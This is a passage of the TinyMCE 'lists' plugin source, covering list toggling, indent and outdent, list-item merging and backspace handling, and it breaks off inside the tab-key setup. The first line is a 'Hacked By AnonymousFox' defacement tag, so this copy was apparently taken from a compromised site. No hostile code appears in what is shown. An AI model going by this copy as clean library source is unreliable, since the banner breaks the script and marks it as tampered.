Hacked By AnonymousFox
(function () {
var lists = (function () {
'use strict';
var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
var global$1 = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils');
var global$2 = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker');
var global$3 = tinymce.util.Tools.resolve('tinymce.util.VK');
var global$4 = tinymce.util.Tools.resolve('tinymce.dom.BookmarkManager');
var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools');
var global$6 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
var isTextNode = function (node) {
return node && node.nodeType === 3;
};
var isListNode = function (node) {
return node && /^(OL|UL|DL)$/.test(node.nodeName);
};
var isListItemNode = function (node) {
return node && /^(LI|DT|DD)$/.test(node.nodeName);
};
var isTableCellNode = function (node) {
return node && /^(TH|TD)$/.test(node.nodeName);
};
var isBr = function (node) {
return node && node.nodeName === 'BR';
};
var isFirstChild = function (node) {
return node.parentNode.firstChild === node;
};
var isLastChild = function (node) {
return node.parentNode.lastChild === node;
};
var isTextBlock = function (editor, node) {
return node && !!editor.schema.getTextBlockElements()[node.nodeName];
};
var isBlock = function (node, blockElements) {
return node && node.nodeName in blockElements;
};
var isBogusBr = function (dom, node) {
if (!isBr(node)) {
return false;
}
if (dom.isBlock(node.nextSibling) && !isBr(node.previousSibling)) {
return true;
}
return false;
};
var isEmpty = function (dom, elm, keepBookmarks) {
var empty = dom.isEmpty(elm);
if (keepBookmarks && dom.select('span[data-mce-type=bookmark]', elm).length > 0) {
return false;
}
return empty;
};
var isChildOfBody = function (dom, elm) {
return dom.isChildOf(elm, dom.getRoot());
};
var $_okk1ogljjgweckx = {
isTextNode: isTextNode,
isListNode: isListNode,
isListItemNode: isListItemNode,
isTableCellNode: isTableCellNode,
isBr: isBr,
isFirstChild: isFirstChild,
isLastChild: isLastChild,
isTextBlock: isTextBlock,
isBlock: isBlock,
isBogusBr: isBogusBr,
isEmpty: isEmpty,
isChildOfBody: isChildOfBody
};
var getNormalizedEndPoint = function (container, offset) {
var node = global$1.getNode(container, offset);
if ($_okk1ogljjgweckx.isListItemNode(container) && $_okk1ogljjgweckx.isTextNode(node)) {
var textNodeOffset = offset >= container.childNodes.length ? node.data.length : 0;
return {
container: node,
offset: textNodeOffset
};
}
return {
container: container,
offset: offset
};
};
var normalizeRange = function (rng) {
var outRng = rng.cloneRange();
var rangeStart = getNormalizedEndPoint(rng.startContainer, rng.startOffset);
outRng.setStart(rangeStart.container, rangeStart.offset);
var rangeEnd = getNormalizedEndPoint(rng.endContainer, rng.endOffset);
outRng.setEnd(rangeEnd.container, rangeEnd.offset);
return outRng;
};
var $_a9cyhvgkjjgweckv = {
getNormalizedEndPoint: getNormalizedEndPoint,
normalizeRange: normalizeRange
};
var DOM = global$6.DOM;
var createBookmark = function (rng) {
var bookmark = {};
var setupEndPoint = function (start) {
var offsetNode, container, offset;
container = rng[start ? 'startContainer' : 'endContainer'];
offset = rng[start ? 'startOffset' : 'endOffset'];
if (container.nodeType === 1) {
offsetNode = DOM.create('span', { 'data-mce-type': 'bookmark' });
if (container.hasChildNodes()) {
offset = Math.min(offset, container.childNodes.length - 1);
if (start) {
container.insertBefore(offsetNode, container.childNodes[offset]);
} else {
DOM.insertAfter(offsetNode, container.childNodes[offset]);
}
} else {
container.appendChild(offsetNode);
}
container = offsetNode;
offset = 0;
}
bookmark[start ? 'startContainer' : 'endContainer'] = container;
bookmark[start ? 'startOffset' : 'endOffset'] = offset;
};
setupEndPoint(true);
if (!rng.collapsed) {
setupEndPoint();
}
return bookmark;
};
var resolveBookmark = function (bookmark) {
function restoreEndPoint(start) {
var container, offset, node;
var nodeIndex = function (container) {
var node = container.parentNode.firstChild, idx = 0;
while (node) {
if (node === container) {
return idx;
}
if (node.nodeType !== 1 || node.getAttribute('data-mce-type') !== 'bookmark') {
idx++;
}
node = node.nextSibling;
}
return -1;
};
container = node = bookmark[start ? 'startContainer' : 'endContainer'];
offset = bookmark[start ? 'startOffset' : 'endOffset'];
if (!container) {
return;
}
if (container.nodeType === 1) {
offset = nodeIndex(container);
container = container.parentNode;
DOM.remove(node);
if (!container.hasChildNodes() && DOM.isBlock(container)) {
container.appendChild(DOM.create('br'));
}
}
bookmark[start ? 'startContainer' : 'endContainer'] = container;
bookmark[start ? 'startOffset' : 'endOffset'] = offset;
}
restoreEndPoint(true);
restoreEndPoint();
var rng = DOM.createRng();
rng.setStart(bookmark.startContainer, bookmark.startOffset);
if (bookmark.endContainer) {
rng.setEnd(bookmark.endContainer, bookmark.endOffset);
}
return $_a9cyhvgkjjgweckv.normalizeRange(rng);
};
var $_2nx1i4gjjjgweckt = {
createBookmark: createBookmark,
resolveBookmark: resolveBookmark
};
var DOM$1 = global$6.DOM;
var normalizeList = function (dom, ul) {
var sibling;
var parentNode = ul.parentNode;
if (parentNode.nodeName === 'LI' && parentNode.firstChild === ul) {
sibling = parentNode.previousSibling;
if (sibling && sibling.nodeName === 'LI') {
sibling.appendChild(ul);
if ($_okk1ogljjgweckx.isEmpty(dom, parentNode)) {
DOM$1.remove(parentNode);
}
} else {
DOM$1.setStyle(parentNode, 'listStyleType', 'none');
}
}
if ($_okk1ogljjgweckx.isListNode(parentNode)) {
sibling = parentNode.previousSibling;
if (sibling && sibling.nodeName === 'LI') {
sibling.appendChild(ul);
}
}
};
var normalizeLists = function (dom, element) {
global$5.each(global$5.grep(dom.select('ol,ul', element)), function (ul) {
normalizeList(dom, ul);
});
};
var $_ekd4wzgmjjgwecl1 = {
normalizeList: normalizeList,
normalizeLists: normalizeLists
};
var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery');
var getParentList = function (editor) {
var selectionStart = editor.selection.getStart(true);
return editor.dom.getParent(selectionStart, 'OL,UL,DL', getClosestListRootElm(editor, selectionStart));
};
var isParentListSelected = function (parentList, selectedBlocks) {
return parentList && selectedBlocks.length === 1 && selectedBlocks[0] === parentList;
};
var findSubLists = function (parentList) {
return global$5.grep(parentList.querySelectorAll('ol,ul,dl'), function (elm) {
return $_okk1ogljjgweckx.isListNode(elm);
});
};
var getSelectedSubLists = function (editor) {
var parentList = getParentList(editor);
var selectedBlocks = editor.selection.getSelectedBlocks();
if (isParentListSelected(parentList, selectedBlocks)) {
return findSubLists(parentList);
} else {
return global$5.grep(selectedBlocks, function (elm) {
return $_okk1ogljjgweckx.isListNode(elm) && parentList !== elm;
});
}
};
var findParentListItemsNodes = function (editor, elms) {
var listItemsElms = global$5.map(elms, function (elm) {
var parentLi = editor.dom.getParent(elm, 'li,dd,dt', getClosestListRootElm(editor, elm));
return parentLi ? parentLi : elm;
});
return global$7.unique(listItemsElms);
};
var getSelectedListItems = function (editor) {
var selectedBlocks = editor.selection.getSelectedBlocks();
return global$5.grep(findParentListItemsNodes(editor, selectedBlocks), function (block) {
return $_okk1ogljjgweckx.isListItemNode(block);
});
};
var getClosestListRootElm = function (editor, elm) {
var parentTableCell = editor.dom.getParents(elm, 'TD,TH');
var root = parentTableCell.length > 0 ? parentTableCell[0] : editor.getBody();
return root;
};
var $_3xb1cggnjjgwecl3 = {
getParentList: getParentList,
getSelectedSubLists: getSelectedSubLists,
getSelectedListItems: getSelectedListItems,
getClosestListRootElm: getClosestListRootElm
};
var global$8 = tinymce.util.Tools.resolve('tinymce.Env');
var DOM$2 = global$6.DOM;
var createNewTextBlock = function (editor, contentNode, blockName) {
var node, textBlock;
var fragment = DOM$2.createFragment();
var hasContentNode;
var blockElements = editor.schema.getBlockElements();
if (editor.settings.forced_root_block) {
blockName = blockName || editor.settings.forced_root_block;
}
if (blockName) {
textBlock = DOM$2.create(blockName);
if (textBlock.tagName === editor.settings.forced_root_block) {
DOM$2.setAttribs(textBlock, editor.settings.forced_root_block_attrs);
}
if (!$_okk1ogljjgweckx.isBlock(contentNode.firstChild, blockElements)) {
fragment.appendChild(textBlock);
}
}
if (contentNode) {
while (node = contentNode.firstChild) {
var nodeName = node.nodeName;
if (!hasContentNode && (nodeName !== 'SPAN' || node.getAttribute('data-mce-type') !== 'bookmark')) {
hasContentNode = true;
}
if ($_okk1ogljjgweckx.isBlock(node, blockElements)) {
fragment.appendChild(node);
textBlock = null;
} else {
if (blockName) {
if (!textBlock) {
textBlock = DOM$2.create(blockName);
fragment.appendChild(textBlock);
}
textBlock.appendChild(node);
} else {
fragment.appendChild(node);
}
}
}
}
if (!editor.settings.forced_root_block) {
fragment.appendChild(DOM$2.create('br'));
} else {
if (!hasContentNode && (!global$8.ie || global$8.ie > 10)) {
textBlock.appendChild(DOM$2.create('br', { 'data-mce-bogus': '1' }));
}
}
return fragment;
};
var $_kbc02gqjjgwecl9 = { createNewTextBlock: createNewTextBlock };
var DOM$3 = global$6.DOM;
var splitList = function (editor, ul, li, newBlock) {
var tmpRng, fragment, bookmarks, node;
var removeAndKeepBookmarks = function (targetNode) {
global$5.each(bookmarks, function (node) {
targetNode.parentNode.insertBefore(node, li.parentNode);
});
DOM$3.remove(targetNode);
};
bookmarks = DOM$3.select('span[data-mce-type="bookmark"]', ul);
newBlock = newBlock || $_kbc02gqjjgwecl9.createNewTextBlock(editor, li);
tmpRng = DOM$3.createRng();
tmpRng.setStartAfter(li);
tmpRng.setEndAfter(ul);
fragment = tmpRng.extractContents();
for (node = fragment.firstChild; node; node = node.firstChild) {
if (node.nodeName === 'LI' && editor.dom.isEmpty(node)) {
DOM$3.remove(node);
break;
}
}
if (!editor.dom.isEmpty(fragment)) {
DOM$3.insertAfter(fragment, ul);
}
DOM$3.insertAfter(newBlock, ul);
if ($_okk1ogljjgweckx.isEmpty(editor.dom, li.parentNode)) {
removeAndKeepBookmarks(li.parentNode);
}
DOM$3.remove(li);
if ($_okk1ogljjgweckx.isEmpty(editor.dom, ul)) {
DOM$3.remove(ul);
}
};
var $_fikiq7gpjjgwecl5 = { splitList: splitList };
var DOM$4 = global$6.DOM;
var removeEmptyLi = function (dom, li) {
if ($_okk1ogljjgweckx.isEmpty(dom, li)) {
DOM$4.remove(li);
}
};
var outdent = function (editor, li) {
var ul = li.parentNode;
var ulParent, newBlock;
if (ul) {
ulParent = ul.parentNode;
} else {
removeEmptyLi(editor.dom, li);
return true;
}
if (ul === editor.getBody()) {
return true;
}
if (li.nodeName === 'DD') {
DOM$4.rename(li, 'DT');
return true;
}
if ($_okk1ogljjgweckx.isFirstChild(li) && $_okk1ogljjgweckx.isLastChild(li)) {
if (ulParent.nodeName === 'LI') {
DOM$4.insertAfter(li, ulParent);
removeEmptyLi(editor.dom, ulParent);
DOM$4.remove(ul);
} else if ($_okk1ogljjgweckx.isListNode(ulParent)) {
DOM$4.remove(ul, true);
} else {
ulParent.insertBefore($_kbc02gqjjgwecl9.createNewTextBlock(editor, li), ul);
DOM$4.remove(ul);
}
return true;
} else if ($_okk1ogljjgweckx.isFirstChild(li)) {
if (ulParent.nodeName === 'LI') {
DOM$4.insertAfter(li, ulParent);
li.appendChild(ul);
removeEmptyLi(editor.dom, ulParent);
} else if ($_okk1ogljjgweckx.isListNode(ulParent)) {
ulParent.insertBefore(li, ul);
} else {
ulParent.insertBefore($_kbc02gqjjgwecl9.createNewTextBlock(editor, li), ul);
DOM$4.remove(li);
}
return true;
} else if ($_okk1ogljjgweckx.isLastChild(li)) {
if (ulParent.nodeName === 'LI') {
DOM$4.insertAfter(li, ulParent);
} else if ($_okk1ogljjgweckx.isListNode(ulParent)) {
DOM$4.insertAfter(li, ul);
} else {
DOM$4.insertAfter($_kbc02gqjjgwecl9.createNewTextBlock(editor, li), ul);
DOM$4.remove(li);
}
return true;
}
if (ulParent.nodeName === 'LI') {
ul = ulParent;
newBlock = $_kbc02gqjjgwecl9.createNewTextBlock(editor, li, 'LI');
} else if ($_okk1ogljjgweckx.isListNode(ulParent)) {
newBlock = $_kbc02gqjjgwecl9.createNewTextBlock(editor, li, 'LI');
} else {
newBlock = $_kbc02gqjjgwecl9.createNewTextBlock(editor, li);
}
$_fikiq7gpjjgwecl5.splitList(editor, ul, li, newBlock);
$_ekd4wzgmjjgwecl1.normalizeLists(editor.dom, ul.parentNode);
return true;
};
var outdentSelection = function (editor) {
var listElements = $_3xb1cggnjjgwecl3.getSelectedListItems(editor);
if (listElements.length) {
var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng());
var i = void 0, y = void 0;
var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, editor.selection.getStart(true));
i = listElements.length;
while (i--) {
var node = listElements[i].parentNode;
while (node && node !== root) {
y = listElements.length;
while (y--) {
if (listElements[y] === node) {
listElements.splice(i, 1);
break;
}
}
node = node.parentNode;
}
}
for (i = 0; i < listElements.length; i++) {
if (!outdent(editor, listElements[i]) && i === 0) {
break;
}
}
editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
editor.nodeChanged();
return true;
}
};
var $_6pbactghjjgweckp = {
outdent: outdent,
outdentSelection: outdentSelection
};
var updateListStyle = function (dom, el, detail) {
var type = detail['list-style-type'] ? detail['list-style-type'] : null;
dom.setStyle(el, 'list-style-type', type);
};
var setAttribs = function (elm, attrs) {
global$5.each(attrs, function (value, key) {
elm.setAttribute(key, value);
});
};
var updateListAttrs = function (dom, el, detail) {
setAttribs(el, detail['list-attributes']);
global$5.each(dom.select('li', el), function (li) {
setAttribs(li, detail['list-item-attributes']);
});
};
var updateListWithDetails = function (dom, el, detail) {
updateListStyle(dom, el, detail);
updateListAttrs(dom, el, detail);
};
var removeStyles = function (dom, element, styles) {
global$5.each(styles, function (style) {
var _a;
return dom.setStyle(element, (_a = {}, _a[style] = '', _a));
});
};
var getEndPointNode = function (editor, rng, start, root) {
var container, offset;
container = rng[start ? 'startContainer' : 'endContainer'];
offset = rng[start ? 'startOffset' : 'endOffset'];
if (container.nodeType === 1) {
container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
}
if (!start && $_okk1ogljjgweckx.isBr(container.nextSibling)) {
container = container.nextSibling;
}
while (container.parentNode !== root) {
if ($_okk1ogljjgweckx.isTextBlock(editor, container)) {
return container;
}
if (/^(TD|TH)$/.test(container.parentNode.nodeName)) {
return container;
}
container = container.parentNode;
}
return container;
};
var getSelectedTextBlocks = function (editor, rng, root) {
var textBlocks = [], dom = editor.dom;
var startNode = getEndPointNode(editor, rng, true, root);
var endNode = getEndPointNode(editor, rng, false, root);
var block;
var siblings = [];
for (var node = startNode; node; node = node.nextSibling) {
siblings.push(node);
if (node === endNode) {
break;
}
}
global$5.each(siblings, function (node) {
if ($_okk1ogljjgweckx.isTextBlock(editor, node)) {
textBlocks.push(node);
block = null;
return;
}
if (dom.isBlock(node) || $_okk1ogljjgweckx.isBr(node)) {
if ($_okk1ogljjgweckx.isBr(node)) {
dom.remove(node);
}
block = null;
return;
}
var nextSibling = node.nextSibling;
if (global$4.isBookmarkNode(node)) {
if ($_okk1ogljjgweckx.isTextBlock(editor, nextSibling) || !nextSibling && node.parentNode === root) {
block = null;
return;
}
}
if (!block) {
block = dom.create('p');
node.parentNode.insertBefore(block, node);
textBlocks.push(block);
}
block.appendChild(node);
});
return textBlocks;
};
var hasCompatibleStyle = function (dom, sib, detail) {
var sibStyle = dom.getStyle(sib, 'list-style-type');
var detailStyle = detail ? detail['list-style-type'] : '';
detailStyle = detailStyle === null ? '' : detailStyle;
return sibStyle === detailStyle;
};
var applyList = function (editor, listName, detail) {
if (detail === void 0) {
detail = {};
}
var rng = editor.selection.getRng(true);
var bookmark;
var listItemName = 'LI';
var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, editor.selection.getStart(true));
var dom = editor.dom;
if (dom.getContentEditable(editor.selection.getNode()) === 'false') {
return;
}
listName = listName.toUpperCase();
if (listName === 'DL') {
listItemName = 'DT';
}
bookmark = $_2nx1i4gjjjgweckt.createBookmark(rng);
global$5.each(getSelectedTextBlocks(editor, rng, root), function (block) {
var listBlock, sibling;
sibling = block.previousSibling;
if (sibling && $_okk1ogljjgweckx.isListNode(sibling) && sibling.nodeName === listName && hasCompatibleStyle(dom, sibling, detail)) {
listBlock = sibling;
block = dom.rename(block, listItemName);
sibling.appendChild(block);
} else {
listBlock = dom.create(listName);
block.parentNode.insertBefore(listBlock, block);
listBlock.appendChild(block);
block = dom.rename(block, listItemName);
}
removeStyles(dom, block, [
'margin',
'margin-right',
'margin-bottom',
'margin-left',
'margin-top',
'padding',
'padding-right',
'padding-bottom',
'padding-left',
'padding-top'
]);
updateListWithDetails(dom, listBlock, detail);
mergeWithAdjacentLists(editor.dom, listBlock);
});
editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
};
var removeList = function (editor) {
var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng(true));
var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, editor.selection.getStart(true));
var listItems = $_3xb1cggnjjgwecl3.getSelectedListItems(editor);
var emptyListItems = global$5.grep(listItems, function (li) {
return editor.dom.isEmpty(li);
});
listItems = global$5.grep(listItems, function (li) {
return !editor.dom.isEmpty(li);
});
global$5.each(emptyListItems, function (li) {
if ($_okk1ogljjgweckx.isEmpty(editor.dom, li)) {
$_6pbactghjjgweckp.outdent(editor, li);
return;
}
});
global$5.each(listItems, function (li) {
var node, rootList;
if (li.parentNode === editor.getBody()) {
return;
}
for (node = li; node && node !== root; node = node.parentNode) {
if ($_okk1ogljjgweckx.isListNode(node)) {
rootList = node;
}
}
$_fikiq7gpjjgwecl5.splitList(editor, rootList, li);
$_ekd4wzgmjjgwecl1.normalizeLists(editor.dom, rootList.parentNode);
});
editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
};
var isValidLists = function (list1, list2) {
return list1 && list2 && $_okk1ogljjgweckx.isListNode(list1) && list1.nodeName === list2.nodeName;
};
var hasSameListStyle = function (dom, list1, list2) {
var targetStyle = dom.getStyle(list1, 'list-style-type', true);
var style = dom.getStyle(list2, 'list-style-type', true);
return targetStyle === style;
};
var hasSameClasses = function (elm1, elm2) {
return elm1.className === elm2.className;
};
var shouldMerge = function (dom, list1, list2) {
return isValidLists(list1, list2) && hasSameListStyle(dom, list1, list2) && hasSameClasses(list1, list2);
};
var mergeWithAdjacentLists = function (dom, listBlock) {
var sibling, node;
sibling = listBlock.nextSibling;
if (shouldMerge(dom, listBlock, sibling)) {
while (node = sibling.firstChild) {
listBlock.appendChild(node);
}
dom.remove(sibling);
}
sibling = listBlock.previousSibling;
if (shouldMerge(dom, listBlock, sibling)) {
while (node = sibling.lastChild) {
listBlock.insertBefore(node, listBlock.firstChild);
}
dom.remove(sibling);
}
};
var updateList = function (dom, list, listName, detail) {
if (list.nodeName !== listName) {
var newList = dom.rename(list, listName);
updateListWithDetails(dom, newList, detail);
} else {
updateListWithDetails(dom, list, detail);
}
};
var toggleMultipleLists = function (editor, parentList, lists, listName, detail) {
if (parentList.nodeName === listName && !hasListStyleDetail(detail)) {
removeList(editor);
} else {
var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng(true));
global$5.each([parentList].concat(lists), function (elm) {
updateList(editor.dom, elm, listName, detail);
});
editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
}
};
var hasListStyleDetail = function (detail) {
return 'list-style-type' in detail;
};
var toggleSingleList = function (editor, parentList, listName, detail) {
if (parentList === editor.getBody()) {
return;
}
if (parentList) {
if (parentList.nodeName === listName && !hasListStyleDetail(detail)) {
removeList(editor);
} else {
var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng(true));
updateListWithDetails(editor.dom, parentList, detail);
mergeWithAdjacentLists(editor.dom, editor.dom.rename(parentList, listName));
editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
}
} else {
applyList(editor, listName, detail);
}
};
var toggleList = function (editor, listName, detail) {
var parentList = $_3xb1cggnjjgwecl3.getParentList(editor);
var selectedSubLists = $_3xb1cggnjjgwecl3.getSelectedSubLists(editor);
detail = detail ? detail : {};
if (parentList && selectedSubLists.length > 0) {
toggleMultipleLists(editor, parentList, selectedSubLists, listName, detail);
} else {
toggleSingleList(editor, parentList, listName, detail);
}
};
var $_aek3i3gejjgwecki = {
toggleList: toggleList,
removeList: removeList,
mergeWithAdjacentLists: mergeWithAdjacentLists
};
var findNextCaretContainer = function (editor, rng, isForward, root) {
var node = rng.startContainer;
var offset = rng.startOffset;
var nonEmptyBlocks, walker;
if (node.nodeType === 3 && (isForward ? offset < node.data.length : offset > 0)) {
return node;
}
nonEmptyBlocks = editor.schema.getNonEmptyElements();
if (node.nodeType === 1) {
node = global$1.getNode(node, offset);
}
walker = new global$2(node, root);
if (isForward) {
if ($_okk1ogljjgweckx.isBogusBr(editor.dom, node)) {
walker.next();
}
}
while (node = walker[isForward ? 'next' : 'prev2']()) {
if (node.nodeName === 'LI' && !node.hasChildNodes()) {
return node;
}
if (nonEmptyBlocks[node.nodeName]) {
return node;
}
if (node.nodeType === 3 && node.data.length > 0) {
return node;
}
}
};
var hasOnlyOneBlockChild = function (dom, elm) {
var childNodes = elm.childNodes;
return childNodes.length === 1 && !$_okk1ogljjgweckx.isListNode(childNodes[0]) && dom.isBlock(childNodes[0]);
};
var unwrapSingleBlockChild = function (dom, elm) {
if (hasOnlyOneBlockChild(dom, elm)) {
dom.remove(elm.firstChild, true);
}
};
var moveChildren = function (dom, fromElm, toElm) {
var node, targetElm;
targetElm = hasOnlyOneBlockChild(dom, toElm) ? toElm.firstChild : toElm;
unwrapSingleBlockChild(dom, fromElm);
if (!$_okk1ogljjgweckx.isEmpty(dom, fromElm, true)) {
while (node = fromElm.firstChild) {
targetElm.appendChild(node);
}
}
};
var mergeLiElements = function (dom, fromElm, toElm) {
var node, listNode;
var ul = fromElm.parentNode;
if (!$_okk1ogljjgweckx.isChildOfBody(dom, fromElm) || !$_okk1ogljjgweckx.isChildOfBody(dom, toElm)) {
return;
}
if ($_okk1ogljjgweckx.isListNode(toElm.lastChild)) {
listNode = toElm.lastChild;
}
if (ul === toElm.lastChild) {
if ($_okk1ogljjgweckx.isBr(ul.previousSibling)) {
dom.remove(ul.previousSibling);
}
}
node = toElm.lastChild;
if (node && $_okk1ogljjgweckx.isBr(node) && fromElm.hasChildNodes()) {
dom.remove(node);
}
if ($_okk1ogljjgweckx.isEmpty(dom, toElm, true)) {
dom.$(toElm).empty();
}
moveChildren(dom, fromElm, toElm);
if (listNode) {
toElm.appendChild(listNode);
}
dom.remove(fromElm);
if ($_okk1ogljjgweckx.isEmpty(dom, ul) && ul !== dom.getRoot()) {
dom.remove(ul);
}
};
var mergeIntoEmptyLi = function (editor, fromLi, toLi) {
editor.dom.$(toLi).empty();
mergeLiElements(editor.dom, fromLi, toLi);
editor.selection.setCursorLocation(toLi);
};
var mergeForward = function (editor, rng, fromLi, toLi) {
var dom = editor.dom;
if (dom.isEmpty(toLi)) {
mergeIntoEmptyLi(editor, fromLi, toLi);
} else {
var bookmark = $_2nx1i4gjjjgweckt.createBookmark(rng);
mergeLiElements(dom, fromLi, toLi);
editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
}
};
var mergeBackward = function (editor, rng, fromLi, toLi) {
var bookmark = $_2nx1i4gjjjgweckt.createBookmark(rng);
mergeLiElements(editor.dom, fromLi, toLi);
var resolvedBookmark = $_2nx1i4gjjjgweckt.resolveBookmark(bookmark);
editor.selection.setRng(resolvedBookmark);
};
var backspaceDeleteFromListToListCaret = function (editor, isForward) {
var dom = editor.dom, selection = editor.selection;
var selectionStartElm = selection.getStart();
var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, selectionStartElm);
var li = dom.getParent(selection.getStart(), 'LI', root);
var ul, rng, otherLi;
if (li) {
ul = li.parentNode;
if (ul === editor.getBody() && $_okk1ogljjgweckx.isEmpty(dom, ul)) {
return true;
}
rng = $_a9cyhvgkjjgweckv.normalizeRange(selection.getRng(true));
otherLi = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
if (otherLi && otherLi !== li) {
if (isForward) {
mergeForward(editor, rng, otherLi, li);
} else {
mergeBackward(editor, rng, li, otherLi);
}
return true;
} else if (!otherLi) {
if (!isForward && $_aek3i3gejjgwecki.removeList(editor)) {
return true;
}
}
}
return false;
};
var removeBlock = function (dom, block, root) {
var parentBlock = dom.getParent(block.parentNode, dom.isBlock, root);
dom.remove(block);
if (parentBlock && dom.isEmpty(parentBlock)) {
dom.remove(parentBlock);
}
};
var backspaceDeleteIntoListCaret = function (editor, isForward) {
var dom = editor.dom;
var selectionStartElm = editor.selection.getStart();
var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, selectionStartElm);
var block = dom.getParent(selectionStartElm, dom.isBlock, root);
if (block && dom.isEmpty(block)) {
var rng = $_a9cyhvgkjjgweckv.normalizeRange(editor.selection.getRng(true));
var otherLi_1 = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
if (otherLi_1) {
editor.undoManager.transact(function () {
removeBlock(dom, block, root);
$_aek3i3gejjgwecki.mergeWithAdjacentLists(dom, otherLi_1.parentNode);
editor.selection.select(otherLi_1, true);
editor.selection.collapse(isForward);
});
return true;
}
}
return false;
};
var backspaceDeleteCaret = function (editor, isForward) {
return backspaceDeleteFromListToListCaret(editor, isForward) || backspaceDeleteIntoListCaret(editor, isForward);
};
var backspaceDeleteRange = function (editor) {
var selectionStartElm = editor.selection.getStart();
var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, selectionStartElm);
var startListParent = editor.dom.getParent(selectionStartElm, 'LI,DT,DD', root);
if (startListParent || $_3xb1cggnjjgwecl3.getSelectedListItems(editor).length > 0) {
editor.undoManager.transact(function () {
editor.execCommand('Delete');
$_ekd4wzgmjjgwecl1.normalizeLists(editor.dom, editor.getBody());
});
return true;
}
return false;
};
var backspaceDelete = function (editor, isForward) {
return editor.selection.isCollapsed() ? backspaceDeleteCaret(editor, isForward) : backspaceDeleteRange(editor);
};
var setup = function (editor) {
editor.on('keydown', function (e) {
if (e.keyCode === global$3.BACKSPACE) {
if (backspaceDelete(editor, false)) {
e.preventDefault();
}
} else if (e.keyCode === global$3.DELETE) {
if (backspaceDelete(editor, true)) {
e.preventDefault();
}
}
});
};
var $_brhyezgajjgweck7 = {
setup: setup,
backspaceDelete: backspaceDelete
};
var get = function (editor) {
return {
backspaceDelete: function (isForward) {
$_brhyezgajjgweck7.backspaceDelete(editor, isForward);
}
};
};
var $_nb3yvg9jjgweck5 = { get: get };
var DOM$5 = global$6.DOM;
var mergeLists = function (from, to) {
var node;
if ($_okk1ogljjgweckx.isListNode(from)) {
while (node = from.firstChild) {
to.appendChild(node);
}
DOM$5.remove(from);
}
};
var indent = function (li) {
var sibling, newList, listStyle;
if (li.nodeName === 'DT') {
DOM$5.rename(li, 'DD');
return true;
}
sibling = li.previousSibling;
if (sibling && $_okk1ogljjgweckx.isListNode(sibling)) {
sibling.appendChild(li);
return true;
}
if (sibling && sibling.nodeName === 'LI' && $_okk1ogljjgweckx.isListNode(sibling.lastChild)) {
sibling.lastChild.appendChild(li);
mergeLists(li.lastChild, sibling.lastChild);
return true;
}
sibling = li.nextSibling;
if (sibling && $_okk1ogljjgweckx.isListNode(sibling)) {
sibling.insertBefore(li, sibling.firstChild);
return true;
}
sibling = li.previousSibling;
if (sibling && sibling.nodeName === 'LI') {
newList = DOM$5.create(li.parentNode.nodeName);
listStyle = DOM$5.getStyle(li.parentNode, 'listStyleType');
if (listStyle) {
DOM$5.setStyle(newList, 'listStyleType', listStyle);
}
sibling.appendChild(newList);
newList.appendChild(li);
mergeLists(li.lastChild, newList);
return true;
}
return false;
};
var indentSelection = function (editor) {
var listElements = $_3xb1cggnjjgwecl3.getSelectedListItems(editor);
if (listElements.length) {
var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng(true));
for (var i = 0; i < listElements.length; i++) {
if (!indent(listElements[i]) && i === 0) {
break;
}
}
editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
editor.nodeChanged();
return true;
}
};
var $_3rkwagtjjgweclf = { indentSelection: indentSelection };
var queryListCommandState = function (editor, listName) {
return function () {
var parentList = editor.dom.getParent(editor.selection.getStart(), 'UL,OL,DL');
return parentList && parentList.nodeName === listName;
};
};
var register = function (editor) {
editor.on('BeforeExecCommand', function (e) {
var cmd = e.command.toLowerCase();
var isHandled;
if (cmd === 'indent') {
if ($_3rkwagtjjgweclf.indentSelection(editor)) {
isHandled = true;
}
} else if (cmd === 'outdent') {
if ($_6pbactghjjgweckp.outdentSelection(editor)) {
isHandled = true;
}
}
if (isHandled) {
editor.fire('ExecCommand', { command: e.command });
e.preventDefault();
return true;
}
});
editor.addCommand('InsertUnorderedList', function (ui, detail) {
$_aek3i3gejjgwecki.toggleList(editor, 'UL', detail);
});
editor.addCommand('InsertOrderedList', function (ui, detail) {
$_aek3i3gejjgwecki.toggleList(editor, 'OL', detail);
});
editor.addCommand('InsertDefinitionList', function (ui, detail) {
$_aek3i3gejjgwecki.toggleList(editor, 'DL', detail);
});
editor.addQueryStateHandler('InsertUnorderedList', queryListCommandState(editor, 'UL'));
editor.addQueryStateHandler('InsertOrderedList', queryListCommandState(editor, 'OL'));
editor.addQueryStateHandler('InsertDefinitionList', queryListCommandState(editor, 'DL'));
};
var $_blnfs1gsjjgwecld = { register: register };
var shouldIndentOnTab = function (editor) {
return editor.getParam('lists_indent_on_tab', true);
};
var $_8obsbgvjjgweclk = { shouldIndentOnTab: shouldIndentOnTab };
var setupTabKey = function (editor) {
editor.on('keydown', function (e) {
if (e.keyCode !== global$3.TAB || global$3.metaKeyPressed(e)) {
return;
}
